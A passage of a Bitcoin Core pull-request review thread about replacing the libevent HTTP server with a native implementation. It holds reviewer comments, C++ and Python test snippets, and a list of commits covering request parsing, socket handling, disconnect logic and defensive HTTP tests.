     441 | +        self.log.info("Check that unsafe or unsupported HTTP methods are rejected")
     442 | +        for method in ['TRACE', 'CONNECT', 'DELETE', 'PATCH', 'OPTIONS']:
     443 | +            conn = BitcoinHTTPConnection(self.node)
     444 | +            response = conn._request(method, '/', data=None, connection_header=None)
     445 | +            assert response.status in [http.client.METHOD_NOT_ALLOWED, http.client.NOT_IMPLEMENTED]
    


    fjahr commented at 8:42 PM on May 20, 2026:

    in 80a4c761f015e631d5e72b4560f8f79c8f29e386:

    Can't we check one or the other explicitly here? Maybe document with a comment if this is really necessary.


    pinheadmz commented at 6:26 PM on May 22, 2026:

    Sure, made these error checks explicit.

  89. in test/functional/interface_http.py:495 in 80a4c761f0 outdated
     490 | +            f"POST / HTTP/1.1\r\n"
     491 | +            f"Host: {conn.url.hostname}\r\n"
     492 | +            f"Authorization: Basic {str_to_b64str(conn.authpair)}\r\n"
     493 | +            f"Content-Length: {len(chunk_size_line)}\r\n"
     494 | +            f"Transfer-Encoding: chunked\r\n"
     495 | +            f"\r\n"
    


    fjahr commented at 8:44 PM on May 20, 2026:

    in 80a4c761f015e631d5e72b4560f8f79c8f29e386:

    There could be some deduplication here (I see this or similar code at least 3 times here)

      def build_raw_request(self, method, path, extra_headers=(), body=b""):
          lines = [f"{method} {path} HTTP/1.1",
                   f"Host: {self.url.hostname}",
                   f"Authorization: Basic {str_to_b64str(self.authpair)}"]
          lines.extend(extra_headers)
          return "\r\n".join(lines).encode("ascii") + b"\r\n\r\n" + body
    

    pinheadmz commented at 6:30 PM on May 22, 2026:

    Im gonna pass on this one I think theres enough differences in the test cases that its helpful to see the whole request.

  90. in src/util/string.cpp:62 in f370d5fb74 outdated
      56 | @@ -57,11 +57,11 @@ std::optional<std::string> LineReader::ReadLine()
      57 |  }
      58 |  
      59 |  // Ignores max_line_length but won't overflow
      60 | -std::string LineReader::ReadLength(size_t len)
      61 | +std::string_view LineReader::ReadLength(size_t len)
      62 |  {
      63 | -    if (len == 0) return "";
      64 | +    if (len == 0) return std::string_view{};
    


    fjahr commented at 8:48 PM on May 20, 2026:

    in f370d5fb74d6a59e31bec84b0ad448d55f9fce36:

    micro-nit: This should be enough here

        if (len == 0) return {};
    

    hodlinator commented at 5:25 PM on May 22, 2026:

    (That comes from my diff #35182 (review). The reason I had the type explicit was because I was experimenting with reducing the amount of exceptions and returning std::optional<std::string_view> instead, where {} would be the nullopt used when we run out of bytes).

    Edit: agree that we should remove the type if we don't change the return type.


    pinheadmz commented at 6:34 PM on May 22, 2026:

    👍 removing the type here

  91. in src/httpserver.cpp:497 in f3efcbb714 outdated
     491 | @@ -490,6 +492,7 @@ void StopHTTPServer()
     492 |      }
     493 |      LogDebug(BCLog::HTTP, "Stopped HTTP server\n");
     494 |  }
     495 | +} // namespace http_libevent
     496 |  
     497 |  struct event_base* EventBase()
    


    fjahr commented at 8:57 PM on May 20, 2026:

    in f3efcbb7147e59141d5bec5ccc2c1308f66929a1:

    nit-question: Why is EventBase() not included in the namespace?


    pinheadmz commented at 6:41 PM on May 22, 2026:

    Hm not sure why I left that out, but I'll include it on this rebase. There are few global-state elements that are left alone but this isn't one of them.

  92. in src/httpserver.cpp:1053 in 2c4a01bace outdated
    1284 | +                                            if (m_disconnect_all_clients) {
    1285 | +                                                // ...unless we still have data for this client.
    1286 | +                                                if (client->m_connection_busy) {
    1287 | +                                                    // There is still data for this healthy-connected client.
    1288 | +                                                    // Continue the I/O loop until all data is sent or an error is encountered.
    1289 | +                                                    return false;
    


    hodlinator commented at 9:45 PM on May 21, 2026:

    I wonder if we could be slightly more ruthless in case we are shutting down?

    This passes unit tests and regular functional tests:

    iff --git a/src/httpserver.cpp b/src/httpserver.cpp
    index b6e258ec71..701780333b 100644
    --- a/src/httpserver.cpp
    +++ b/src/httpserver.cpp
    @@ -955,6 +955,13 @@ void HTTPServer::ThreadSocketHandler()
             // Disconnect any clients that have been flagged.
             DisconnectClients();
         }
    +
    +    // We could just have exited DisconnectClients() above before any potential
    +    // call to DisconnectAllClients(). So call them again to make sure we exit
    +    // with no remaining clients.
    +    DisconnectAllClients();
    +    DisconnectClients();
    +    assert(GetConnectionsCount() == 0);
     }
     
     void HTTPServer::MaybeDispatchRequestsFromClient(const std::shared_ptr<HTTPRemoteClient>& client) const
    @@ -1042,24 +1049,10 @@ void HTTPServer::DisconnectClients()
                                                              client->m_origin,
                                                              client->m_id);
                                                 }
    -                                        } else {
    -                                            // Disconnect this client because the server is shutting
    -                                            // down and we need to disconnect all clients...
    -                                            if (m_disconnect_all_clients) {
    -                                                // ...unless we still have data for this client.
    -                                                if (client->m_connection_busy) {
    -                                                    // There is still data for this healthy-connected client.
    -                                                    // Continue the I/O loop until all data is sent or an error is encountered.
    -                                                    return false;
    -                                                } else {
    -                                                    // This is a healthy persistent connection (e.g. keep-alive)
    -                                                    // but it's time to say goodbye.
    -                                                    ;
    -                                                }
    -                                            } else {
    -                                                // No reason to disconnect.
    -                                                return false;
    -                                            }
    +                                        } else if (!m_disconnect_all_clients) {
    +                                            // Unless we are disconnecting all clients due to server shutdown,
    +                                            // there is no reason to disconnect.
    +                                            return false;
                                             }
                                             // No reason NOT to disconnect, log and remove.
                                             LogDebug(BCLog::HTTP,
    
  93. DrahtBot added the label Needs rebase on May 22, 2026
  94. fjahr commented at 8:26 AM on May 22, 2026: contributor

    Only partial re-review so far but since you might rebase I am putting these here already in case you might want to address them

  95. fanquake referenced this in commit 815d474be7 on May 22, 2026
  96. fanquake referenced this in commit 1fe244bafd on May 22, 2026
  97. pinheadmz force-pushed on May 22, 2026
  98. pinheadmz referenced this in commit 5e689393fa on May 22, 2026
  99. pinheadmz commented at 8:06 PM on May 22, 2026: member

    push to 5e689393fa2d2b9152994a364d10a060135d00ae:

    • Rebase on master, fix conflicts and silent merge conflict with #34342
    • Address review comments from @fjahr
    • Deal with the assertion failure (again) found by antithesis. The first solution was not complete enough and when testing the DoS attack presented by @janb84 I found that the shutdown process still might leave connections open. @hodlinator had a suggestion but we discussed a simpler version offline, which is implemented in this push. We introduce a ClearConnectedClients() which burns whatever's left in m_connected.
  100. in src/httpserver.h:244 in 64b907394a outdated
     239 | +class HTTPResponse
     240 | +{
     241 | +public:
     242 | +    uint8_t m_version_major;
     243 | +    uint8_t m_version_minor;
     244 | +    HTTPStatusCode m_status;
    


    fjahr commented at 8:19 PM on May 22, 2026:

    in 64b907394ae11d9903a1a41f4b5f8b1a83e7cacb:

    nit: Could initialize these with a default value maybe?


    pinheadmz commented at 5:27 PM on May 26, 2026:

    Sure will set to 1.1, this is redundant because that version is set by default in requests, which get copied to the responses. BUT, it wont hurt. I'll copy the comment over as well.

  101. in src/httpserver.cpp:824 in ec0b3421c5 outdated
     819 | +    if (!maybe_line) return false;
     820 | +    const std::string_view& request_line = *maybe_line;
     821 | +
     822 | +    // Request Line aka Control Data https://httpwg.org/specs/rfc9110.html#rfc.section.6.2
     823 | +    // Three words separated by spaces, terminated by \n or \r\n
     824 | +    if (request_line.length() < MIN_REQUEST_LINE_LENGTH) throw std::runtime_error("HTTP request line too short");
    


    fjahr commented at 9:07 PM on May 22, 2026:

    in ec0b3421c515ba46dab6e6c9f47f45e0d80e0e00:

    I find this minimum length validation a bit odd. This still permits something like POST HTTP/1.1 (empty target but two spaces). The length validation doesn't catch this because POST is longer than GET. Looking at how the other data is validated I would have expected m_method and m_target to be checked for emptiness at least. But this seems to still be handled correctly later, just a bit of an inconsistency.

    I checked what libevent is doing here and it seems to catch this in the parse function but I don't feel strongly about this needing to be changed nonetheless.


    pinheadmz commented at 5:38 PM on May 26, 2026:

    Yeah its just a starting point. Libevent uses the same check if (len < strlen("GET / HTTP/1.0"))

  102. in src/httpserver.cpp:888 in 0b54472a63 outdated
     883 | @@ -881,4 +884,87 @@ bool HTTPRequest::LoadBody(LineReader& reader)
     884 |  
     885 |      return true;
     886 |  }
     887 | +
     888 | +util::Expected<void, std::string> HTTPServer::BindAndStartListening(const CService& to)
    


    fjahr commented at 9:17 PM on May 22, 2026:

    in 0b54472a63aeb559d3b3999f1f74b38ad66e92c0:

    From the commit description: "BindAndStartListening() was copied from CConnMan's BindListenPort() in net.cpp and modernized." Could you add the rationale for copying and not sharing that code? Is it a potential candidate for doing that in the future? If yes, consider adding a comment.


    pinheadmz commented at 6:02 PM on May 26, 2026:

    Originally this PR (back when it was #32061) was based on #30988 which extracts all socket-touching code from net.cpp into a parent class from which CConnMan and HTTPServer would derive. There was concern about needlessly refactoring net processing, so I rebased the HTTP approach on a socket manager without touching net in #32747. That approach was also NACKed because of architecture philosophy best summarized by @theuni:

    socket-based protocols are different enough to warrant their own logic.

    So I think the current prevailing opinion is, its OK to have this code in two places.


    fjahr commented at 11:06 AM on June 4, 2026:

    Ok, would still be good to add a comment to clarify and document this IMO to ensure this doesn't confuse others, but can be done in a follow-up.

  103. DrahtBot removed the label Needs rebase on May 22, 2026
  104. in src/httpserver.cpp:992 in 3bfda32fb7 outdated
     987 | +                     NetworkErrorString(err));
     988 | +        }
     989 | +        return {};
     990 | +    }
     991 | +
     992 | +    if (!addr.SetSockAddr(sa, len)) {
    


    fjahr commented at 9:34 PM on May 22, 2026:

    in 3bfda32fb777c470039b09bb207cbbfa465eb8a4:

    Maybe add a comment here why this isn't too bad and we still return sock?


    pinheadmz commented at 6:33 PM on May 26, 2026:

    I added a comment here and also note that it will make even more sense in the follow-up PR https://github.com/pinheadmz/bitcoin/pull/12 which will immediately close such connections

  105. in src/httpserver.h:313 in 0545142acc outdated
     306 | @@ -306,6 +307,11 @@ class HTTPRequest
     307 |  class HTTPServer
     308 |  {
     309 |  public:
     310 | +    /**
     311 | +     * Each connection is assigned an unique id of this type.
     312 | +     */
     313 | +    using Id = int64_t;
    


    fjahr commented at 9:41 PM on May 22, 2026:

    in 0545142acc680b76edf1e0c8658de3df70699dac:

    Any reason not to make this uint64_t?


    pinheadmz commented at 6:36 PM on May 26, 2026:

    No that makes sense (unless @vasild had a reason in #30988) this can be uint.

  106. in src/httpserver.h:458 in 2e7a1a09e3 outdated
     453 | +     * After a new socket with a client has been created, configure its flags,
     454 | +     * make a new HTTPRemoteClient and Id and save its shared pointer.
     455 | +     * @param[in] sock The newly created socket.
     456 | +     * @param[in] them Address of the new peer.
     457 | +     */
     458 | +    void NewSockAccepted(std::unique_ptr<Sock>&& sock, const CService& them);
    


    fjahr commented at 11:35 AM on May 23, 2026:

    in 2e7a1a09e39459a497ec923877eb6bee0e32ec45:

    nit: them is a bit unusual as a param name. new_peer or addr or something in between would be better, IMO.


    pinheadmz commented at 6:44 PM on May 26, 2026:

    sure, going with addr since that matches our cousin CConnman::CreateNodeFromAcceptedSocket()


    hodlinator commented at 9:56 AM on June 1, 2026:

    nit: I liked that the them name indicated that the addr belongs to a remote peer, but no big deal.

  107. in test/functional/interface_http.py:18 in 5e689393fa
      17 | -# Set in httpserver.cpp and passed to libevent evhttp_set_max_headers_size()
      18 | +# Set in httpserver.h
      19 |  MAX_HEADERS_SIZE = 8192
      20 | -# Set in serialize.h and passed to libevent evhttp_set_max_body_size()
      21 | -MAX_SIZE = 0x02000000
      22 | +MAX_BODY_SIZE = 0x02000000
    


    b-l-u-e commented at 11:36 AM on May 23, 2026:

    nit

    diff --git a/test/functional/interface_http.py b/test/functional/interface_http.py
    index 4028f7f62a..101c936471 100755
    --- a/test/functional/interface_http.py
    +++ b/test/functional/interface_http.py
    @@ -15,7 +15,7 @@ import urllib.parse
     RPCSERVERTIMEOUT = 2
     # Set in httpserver.h
     MAX_HEADERS_SIZE = 8192
    -MAX_BODY_SIZE = 0x02000000
    +MAX_BODY_SIZE = 32 * 1024 * 1024
    

    janb84 commented at 11:59 AM on May 23, 2026:

    use the _MiB literal instead ( like #34435 recently )


    pinheadmz commented at 1:42 PM on May 27, 2026:

    I dont think we have a _MiB for python, do we? I see * 1024 * 1024 frequently in the suite, will take that.

  108. in src/httpserver.cpp:1242 in 3192cdafcd outdated
    1237 | +    // Remove the bytes read out of the buffer.
    1238 | +    // If one of the above calls throws an error, the caller must
    1239 | +    // catch it and disconnect the client.
    1240 | +    m_recv_buffer.erase(
    1241 | +        m_recv_buffer.begin(),
    1242 | +        m_recv_buffer.begin() + (reader.it - reader.start));
    


    fjahr commented at 11:37 AM on May 23, 2026:

    in 3192cdafcda9050bb4174b7ed777634c7a21036d:

    I think you can use reader.Consumed() here instead?


    pinheadmz commented at 7:10 PM on May 26, 2026:

    Oh yes nice catch! Using the helper here.

  109. in src/test/httpserver_tests.cpp:189 in 3192cdafcd outdated
     194 | -                                                  "Connection: close\r\n"
     195 | -                                                  "Content-Type: application/json\r\n"
     196 | -                                                  "Authorization: Basic X19jb29raWVfXzo5OGQ5ODQ3MWNmNjg0NzAzYTkzN2EzNzk0ZDFlODQ1NjZmYTRkZjJiMzFkYjhhODI4ZGY4MjVjOTg5ZGI4OTVl\r\n"
     197 | -                                                  "Content-Length: 46\r\n"
     198 | -                                                  "\r\n"
     199 | -                                                  R"({"method":"getblockcount","params":[],"id":1})""\n";
    


    fjahr commented at 11:43 AM on May 23, 2026:

    in 3192cdafcda9050bb4174b7ed777634c7a21036d:

    nit: This move could probably have been avoided by putting it in the right place when adding?


    pinheadmz commented at 7:08 PM on May 26, 2026:

    Sure but then in the first commit would you ask why I'm declaring a variable outside of the only scope it's used in? ;-) I prefer to "tell the story" in the commits this way but if you the reviewer are confused thats not helpful. I think I'm gonna leave as is for now

  110. in src/httpserver.h:309 in 3192cdafcd outdated
     313 | @@ -305,8 +314,6 @@ class HTTPRequest
     314 |      /// @}
     315 |  };
     316 |  
     317 | -class HTTPRemoteClient;
     318 | -
    


    fjahr commented at 11:44 AM on May 23, 2026:

    in 3192cdafcda9050bb4174b7ed777634c7a21036d:

    nit: Move looks like it could be avoided by changing earlier commits accordingly.


    pinheadmz commented at 7:13 PM on May 26, 2026:

    Still just trying to keep each commit as tight as possible. HTTPRemoteClient forward declaration is only needed in HTTPServer until this commit when it is also needed in HTTPRequest so it gets moved up.

  111. in src/httpserver.h:56 in 5e689393fa outdated
      70 | +namespace http_bitcoin {
      71 | +using util::LineReader;
      72 |  
      73 | -/** Change logging level for libevent. */
      74 | -void UpdateHTTPServerLogging(bool enable);
      75 | +//! Shortest valid request line, used by libevent in evhttp_parse_request_line()
    


    b-l-u-e commented at 11:59 AM on May 23, 2026:

    nit maybe

    --- a/src/httpserver.h
    +++ b/src/httpserver.h
    @@ -53,13 +53,14 @@ enum class HTTPRequestMethod {
     namespace http_bitcoin {
     using util::LineReader;
     
    -//! Shortest valid request line, used by libevent in evhttp_parse_request_line()
    +//! Conservative minimum request-line length used by this parser.
    +//! See RFC 9112 section 3 (request line syntax).
     constexpr size_t MIN_REQUEST_LINE_LENGTH = std::string_view("GET / HTTP/1.0").size();
    

    pinheadmz commented at 2:44 PM on May 27, 2026:

    I'm going to pass on this and the other comment-comment, since RFC 9112 isn't really the right reference (the request line syntax is way older, like RFC 1945 or something)

  112. in src/httpserver.h:62 in 5e689393fa outdated
      85 | -/** Unregister handler for prefix */
      86 | -void UnregisterHTTPHandler(const std::string &prefix, bool exactMatch);
      87 | +//! Maximum size of each headers line in an HTTP request,
      88 | +//! also the maximum size of all headers total.
      89 | +//! See https://github.com/bitcoin/bitcoin/pull/6859
      90 | +//! And libevent http.c evhttp_parse_headers_()
    


    b-l-u-e commented at 12:00 PM on May 23, 2026:

    nit maybe

    -//! And libevent http.c evhttp_parse_headers_()
    +//! and RFC 9112 section 5 (HTTP message parsing/field limits guidance).
     constexpr size_t MAX_HEADERS_SIZE{8192};
    
  113. in src/httpserver.cpp:989 in 08f88ccf4c outdated
     984 | +    if (m_version_major == 1) {
     985 | +        // HTTP/1.0
     986 | +        if (m_version_minor == 0) {
     987 | +            auto connection_header{m_headers.FindFirst("Connection")};
     988 | +            if (connection_header && ToLower(connection_header.value()) == "keep-alive") {
     989 | +                res.m_headers.Write("Connection", "keep-alive");
    


    fjahr commented at 12:14 PM on May 23, 2026:

    in 08f88ccf4cb6cb81c952dde804f2602f47e3b184:

    I think the content length is missing here.


    pinheadmz commented at 7:37 PM on May 26, 2026:

    Yes great catch thanks. I misunderstood the 1.0 vs 1.1 spec. In 1.0, connections are closed by default so the body length isn't usually necessary. The part I missed was adding it back in if the keep-alive header was specified. Then it works like a 1.1 connection and requires the content-length header.

  114. in src/httpserver.cpp:1510 in 6d5358c87c outdated
    1503 | @@ -1455,6 +1504,21 @@ bool HTTPRemoteClient::MaybeSendBytesFromBuffer()
    1504 |              bytes_sent,
    1505 |              m_origin,
    1506 |              m_id);
    1507 | +
    1508 | +        // This check is inside the if(!empty) block meaning "there was data but now its gone".
    1509 | +        // We shouldn't even be calling MaybeSendBytesFromBuffer() when the send buffer is empty,
    1510 | +        // but for belt-and-suspenders, we don't want to modify the disconnect flags if MaybeSendBytesFromBuffer() was a no-op.
    


    fjahr commented at 12:27 PM on May 23, 2026:

    in 6d5358c87ce8ae905f9c1a8a27c7a820ac9c9a46:

    I find this comment confusing, the content of the block looks more like we are just finishing up cleanly since the buffer was empty. I don't see what is "belt-and-suspenders" here.


    pinheadmz commented at 7:59 PM on May 26, 2026:

    You're right, I'll make the comment less confusing with an example. The fact that MaybeSendBytesFromBuffer() shouldn't have been called on an empty buffer isn't really important but it probably means I was doing something wrong while working on this commit...

  115. in test/functional/interface_http.py:446 in 5e689393fa
     441 | +            ['OPTIONS', http.client.METHOD_NOT_ALLOWED],
     442 | +            ['GET',     http.client.METHOD_NOT_ALLOWED] # RPC endpoint '/' only handles POST
     443 | +        ]:
     444 | +            conn = BitcoinHTTPConnection(self.node)
     445 | +            response = conn._request(method, '/', data=None, connection_header=None)
     446 | +            print(method, response.status)
    


    pinheadmz commented at 12:59 PM on May 23, 2026:

    oh god how embarassing 😭 fixing on next rebase

  116. pinheadmz commented at 3:49 PM on May 23, 2026: member

    @janb84 This is what I'm thinking about the memory exhaustion attack you described:

    https://github.com/pinheadmz/bitcoin/pull/12

    Opened as an external PR because I'm not sure if it should be included in #35182 or addressed as a follow-up.

    The commit there mainly just makes rpcallowip way more strict, so blocked clients can't send us any data at all.

    I found the PoC you shared can also accumulate memory on master branch up to around 2 GB, if it just sends the data a little slower.

    Just trying to figure out where "feature freeze" should be in this PR and what is reasonable to handle in follow-ups which can be developed in parallel and without endless rebases!

  117. in src/test/httpserver_tests.cpp:47 in bfada75f0e outdated
      43 | @@ -44,18 +44,15 @@ BOOST_AUTO_TEST_CASE(test_query_parameters_new_behavior)
      44 |      std::string uri {};
      45 |      // This is an invalid URI because it contains a % that is not followed by two hex digits
      46 |      uri = "/rest/endpoint/someresource.json?p1=v1&p2=v2%";
      47 | -    // Old behavior: URI with invalid characters (%) raises a runtime error regardless of which query parameter is queried
      48 | -    BOOST_CHECK_EXCEPTION(http_libevent::GetQueryParameterFromUri(uri.c_str(), "p1"), std::runtime_error, HasReason("URI parsing failed, it likely contained RFC 3986 invalid characters"));
      49 | +    // Old libevent behavior: URI with invalid characters (%) raised a runtime error regardless of which query parameter is queried
    


    fjahr commented at 10:03 PM on May 23, 2026:

    nit: Do we need to keep these old behavior comments around? I can't think of a scenario where they would still be useful after merging this.


    pinheadmz commented at 8:05 PM on May 26, 2026:

    No we don't! good riddance ;-)

  118. in test/functional/rpc_misc.py:124 in f3db988eae outdated
     120 | @@ -121,6 +121,18 @@ def run_test(self):
     121 |          # Specifying an unknown index name returns an empty result
     122 |          assert_equal(node.getindexinfo("foo"), {})
     123 |  
     124 | +        # Test a deprecated category
    


    fjahr commented at 10:06 PM on May 23, 2026:

    nit: Might have been a better match to put this in rpc_deprecated.py


    pinheadmz commented at 1:33 PM on May 27, 2026:

    Hm seems to be a history of adding logging tests to this file #22530 #15943 despite feature_logging.py being available since #11781.

    I'd like to move this in a follow-up PR that consolidates and organizes all the logging tests in the right file, and with the mono-run_test() split up in to blocks.

  119. fjahr commented at 10:12 PM on May 23, 2026: contributor

    Leaving some minor comments/questions from a first re-review pass. Nothing too serious, looks pretty good to me so far but I will need to do some more of these to make sure I didn't miss anything serious :)

  120. in src/httpserver.cpp:699 in 5e689393fa
     831 | +            LogDebug(BCLog::HTTP,
     832 | +                     "Cannot set IPV6_V6ONLY on %s listen socket: %s, continuing anyway",
     833 | +                     to.ToStringAddrPort(),
     834 | +                     NetworkErrorString(WSAGetLastError()));
     835 | +        }
     836 | +#endif
    


    winterrdog commented at 9:34 PM on May 24, 2026:

    just a small detail i noticed around how socket option values are passed into SetSockOpt().

    there seem to be 2 slightly different patterns in use:

    1. here in HTTPServer::BindAndStartListening, a local stack variable is used.

    2. further down in HTTPServer::NewSockAccepted , the file-scoped global constexpr is used instead:

          //! Explicit alias for setting socket option methods.
          static constexpr int SOCKET_OPTION_TRUE{1};
      
          // ...
          // According to the internet TCP_NODELAY is not carried into accepted sockets
          // on all platforms.  Set it again here just to be sure.
          if (sock->SetSockOpt(IPPROTO_TCP, TCP_NODELAY, &SOCKET_OPTION_TRUE, sizeof(SOCKET_OPTION_TRUE)) == SOCKET_ERROR) {
              LogDebug(BCLog::HTTP, "connection from %s: unable to set TCP_NODELAY, continuing anyway",
                       them.ToStringAddrPort());
          }
          // ...
      

    was there a specific reason for using the local variable in BindAndStartListening? i was wondering if it was intentional, maybe just inherited from some socket boilerplate.

    happy to be corrected if there is a subtle reason i have missed


    pinheadmz commented at 2:56 PM on May 27, 2026:

    No reason, totally great catch thanks. I moved the constexpr up to the first commit where SetSockOpt is used and removed the local variable.

  121. fanquake referenced this in commit e068d07379 on May 26, 2026
  122. janb84 commented at 11:30 AM on May 26, 2026: contributor

    Approach ACK 5e689393fa2d2b9152994a364d10a060135d00ae

    @janb84 This is what I'm thinking about the memory exhaustion attack you described:

    pinheadmz#12

    Opened as an external PR because I'm not sure if it should be included in #35182 or addressed as a follow-up.

    The commit there mainly just makes rpcallowip way more strict, so blocked clients can't send us any data at all.

    I found the PoC you shared can also accumulate memory on master branch up to around 2 GB, if it just sends the data a little slower.

    Just trying to figure out where "feature freeze" should be in this PR and what is reasonable to handle in follow-ups which can be developed in parallel and without endless rebases!

    I'm oke with pushing these findings to a follow up (I may have identified one equal issue in the responses) and have a "feature freeze" of this PR. I think this PR is in a pretty good shape now, sans some NITS.

  123. DrahtBot added the label Needs rebase on May 26, 2026
  124. fanquake referenced this in commit e78dadec7c on May 26, 2026
  125. fanquake added this to the milestone 32.0 on May 27, 2026
  126. pinheadmz referenced this in commit 6286d6158f on May 27, 2026
  127. pinheadmz force-pushed on May 27, 2026
  128. pinheadmz commented at 3:29 PM on May 27, 2026: member

    Push to 6286d6158f0331c56a798c3570afe87c8c21022e

    All code cleanups except one tiny behavior change sending Content-Length in HTTP/1.0 connections

  129. test: cover common HTTP attacks and common malformed requests 5d07b05605
  130. util/string: use string_view in LineReader
    Co-authored-by: Hodlinator <172445034+hodlinator@users.noreply.github.com>
    ca60c1cb11
  131. util/string: LineReader should only trim \r or \r\n
    The utility can not be opinionated about CR or SP on either end of a
    line it reads. That decision is up to the caller and in fact in the
    case of HTTP should be allowed in some places and rejected in others.
    
    Replace TrimStringView() with more surgical operation.
    b259b8a310
  132. http: enclose libevent-dependent code in a namespace
    This commit is a no-op to isolate HTTP methods and objects that
    depend on libevent. Following commits will add replacement objects
    and methods in a new namespace for testing and review before
    switching over the server.
    36a61335a3
  133. http: Implement HTTPHeaders class
    see:
    https://www.rfc-editor.org/rfc/rfc2616#section-4.2
    https://www.rfc-editor.org/rfc/rfc7231#section-5
    https://www.rfc-editor.org/rfc/rfc7231#section-7
    https://httpwg.org/specs/rfc9111.html#header.field.definitions
    d78f5f15dd
  134. http: Implement HTTPResponse class
    HTTP Response message:
    https://datatracker.ietf.org/doc/html/rfc1945#section-6
    
    Status line (first line of response):
    https://datatracker.ietf.org/doc/html/rfc1945#section-6.1
    
    Status code definitions:
    https://datatracker.ietf.org/doc/html/rfc1945#section-9
    39ff679c36
  135. http: Implement HTTPRequest class
    HTTP Request message:
    https://datatracker.ietf.org/doc/html/rfc1945#section-5
    
    Request Line aka Control Line aka first line:
    https://datatracker.ietf.org/doc/html/rfc1945#section-5.1
    
    See message_read_status() in libevent http.c for how
    `MORE_DATA_EXPECTED` is handled there
    7a3f1b909f
  136. http: Introduce HTTPServer class and implement binding to listening socket
    Introduce a new low-level socket managing class `HTTPServer`.
    
    BindAndStartListening() was copied from CConnMan's BindListenPort()
    in net.cpp and modernized.
    
    Unit-test it with a new class `SocketTestingSetup` which mocks
    `CreateSock()` and will enable mock client I/O in future commits.
    
    Co-authored-by: Vasil Dimov <vd@FreeBSD.org>
    485d05b7b1
  137. HTTPServer: implement and test AcceptConnection()
    AcceptConnection() is mostly copied from CConmann in net.cpp
    and then modernized.
    
    Co-authored-by: Vasil Dimov <vd@FreeBSD.org>
    700d98e216
  138. HTTPServer: generate sequential Ids for each newly accepted connection
    Co-authored-by: Vasil Dimov <vd@FreeBSD.org>
    3245194e28
  139. http: Introduce HTTPRemoteClient class 5b5947e7d1
  140. HTTPServer: start an I/O loop in a new thread and accept connections
    Socket handling methods are copied from CConnMan:
    
    `CConnman::GenerateWaitSockets()`
    `CConnman::SocketHandlerListening()`
    `CConnman::ThreadSocketHandler()` and `CConnman::SocketHandler()` are combined into ThreadSocketHandler()`.
    
    Co-authored-by: Vasil Dimov <vd@FreeBSD.org>
    23dd12ba56
  141. HTTPServer: read requests from connected clients
    `SocketHandlerConnected()` adapted from CConnman
    
    Testing this requires adding a new feature to the SocketTestingSetup,
    inserting a "request" payload into the mock client that connects
    to us.
    
    This commit also moves IOErrorIsPermanent() from sock.cpp to sock.h
    so it can be called from the socket handler in httpserver.cpp
    
    Co-authored-by: Vasil Dimov <vd@FreeBSD.org>
    3e6ef7c9c5
  142. HTTPserver: support "chunked" Transfer-Encoding acd6b64280
  143. HTTPServer: compose and send replies to connected clients
    Sockets-touching bits copied and adapted from `CConnman::SocketSendData()`
    
    Testing this requires adding a new feature to the SocketTestingSetup,
    returning the DynSock I/O pipes from the mock socket so the received
    data can be checked.
    
    Co-authored-by: Vasil Dimov <vd@FreeBSD.org>
    ba650665a2
  144. HTTPServer: disconnect clients 47e17caa1c
  145. Allow http workers to send data optimistically as an optimization c6aa749a11
  146. HTTPServer: use a queue to pipeline requests from each connected client
    See https://www.rfc-editor.org/rfc/rfc7230#section-6.3.2
    
    > A server MAY process a sequence of pipelined requests in
      parallel if they all have safe methods (Section 4.2.1 of [RFC7231]),
      but it MUST send the corresponding responses in the same order that
      the requests were received.
    
    We choose NOT to process requests in parallel. They are executed in
    the order recevied as well as responded to in the order received.
    This prevents race conditions where old state may get sent in response
    to requests that are very quick to process but were requested later on
    in the queue.
    4f6043a51b
  147. define HTTP request methods at module level outside of class
    This is a refactor to prepare for matching the API of HTTPRequest
    definitions in both namespaces http_bitcoin and http_libevent. In
    particular, to provide a consistent return type for GetRequestMethod()
    in both classes.
    71ee24af3f
  148. Add helper methods to HTTPRequest to match original API
    These methods are called by http_request_cb() and are present in the
    original http_libevent::HTTPRequest.
    d810207400
  149. refactor: split http_request_cb into libevent callback and dispatch
    The original function is passed to libevent as a callback when HTTP
    requests are received and processed. It wrapped the libevent request
    object in a http_libevent::HTTPRequest and then handed that off to
    bitcoin for basic checks and finally dispatch to worker threads.
    
    In this commit we split the function after the
    http_libevent::HTTPRequest is created, and pass that object to a new
    function that maintains the logic of checking and dispatching.
    
    This will be the merge point for http_libevent and http_bitcoin,
    where HTTPRequest objects from either namespace have the same
    downstream lifecycle.
    4f5cd3d8c4
  150. refactor: split HTTPBindAddresses into config parse and libevent setup
    The original function was already naturally split into two chunks:
    First, we parse and validate the users' RPC configuration for IPs and
    ports. Next we bind libevent's http server to the appropriate
    endpoints.
    
    This commit splits these chunks into two separate functions, leaving
    the argument parsing in the common space of the module and moving the
    libevent-specific binding into the http_libevent namespace.
    
    A future commit will implement http_bitcoin::HTTPBindAddresses to
    bind the validate list of endpoints by the new HTTP server.
    37cc94b785
  151. HTTPServer: implement control methods to match legacy API 7becd5f0d6
  152. HTTPServer: disconnect after idle timeout (-rpcservertimeout) 7cd2c8b0f6
  153. http: switch servers from libevent to bitcoin d67c596e75
  154. fuzz: switch http_libevent::HTTPRequest to http_bitcoin::HTTPRequest 31cfad8fab
  155. http: remove libevent usage from this subsystem b24ba40b41
  156. logging: deprecate libevent category
    Creates logic to deprecate logging categories but still
    "support" them so the software doesn't quit with unknown category
    on startup. Deprecated categories are always false and attempts
    to switch them are logged as wwarnings.
    b7464536ed
  157. doc: add release note for #35182 replace libevent HTTP server ddefe4263b
  158. pinheadmz force-pushed on May 27, 2026
  159. pinheadmz commented at 3:46 PM on May 27, 2026: member

    push to ddefe4263b42aa050a4bd55c073e1640f06e7332

  160. DrahtBot added the label CI failed on May 27, 2026
  161. DrahtBot removed the label Needs rebase on May 27, 2026
  162. DrahtBot removed the label CI failed on May 29, 2026
  163. pinheadmz referenced this in commit 6137dd04ac on May 30, 2026
  164. pinheadmz referenced this in commit 5de3cd4a96 on May 30, 2026
  165. pinheadmz referenced this in commit 0bcb27b969 on May 30, 2026
  166. pinheadmz referenced this in commit 0de27063ae on May 30, 2026
  167. pinheadmz referenced this in commit b806d9a843 on May 30, 2026
  168. pinheadmz referenced this in commit 4bddddeb20 on May 30, 2026
  169. fanquake referenced this in commit 99938a940c on May 30, 2026
  170. pinheadmz referenced this in commit 1984023382 on May 30, 2026
  171. pinheadmz referenced this in commit 15b9e15c96 on May 30, 2026
  172. pinheadmz referenced this in commit 6ac9f144d5 on May 30, 2026
  173. pinheadmz referenced this in commit 9e3242cdb7 on May 30, 2026
  174. pinheadmz referenced this in commit d6090a5ac5 on May 30, 2026
